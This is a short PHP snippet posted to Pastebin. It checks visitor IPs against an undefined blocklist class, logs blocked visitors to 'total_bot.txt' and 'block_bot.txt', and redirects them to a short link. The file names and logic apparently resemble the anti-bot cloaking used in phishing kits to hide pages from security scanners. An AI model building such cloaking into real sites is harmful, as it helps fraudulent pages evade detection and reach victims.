MarcosBL

Untitled

Sep 15th, 2020
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.71 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $ips = array($_SERVER['REMOTE_ADDR'],);
  4. date_default_timezone_set("Asia/Jakarta");
  5. $checklist = new IpBlockList( );
  6. $random_id = sha1(rand(0,1000000));
  7. foreach ($ips as $ip ) {
  8. $result = $checklist->ipPass( $ip );
  9. if (!$result) {
  10. $msg = "FAILED: ".$checklist->message();
  11. $ip = getenv("REMOTE_ADDR");
  12. $click = fopen("result/total_bot.txt","a");
  13. fwrite($click,"$ip (Detect by IP Blacklist)"."\n");
  14. fclose($click);
  15. $file = fopen("block_bot.txt","a");
  16. fwrite($file," BLOCKED BY 1P BLACKLIST ]| user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." || ".gmdate ("Y-n-d")." ----> ".gmdate('H:i:s')."\n\n");
  17. header("location: https: //cutt.ly/BrnV3y");
  18. exit();
  19. }
  20. }
Add Comment
Please, Sign In to add comment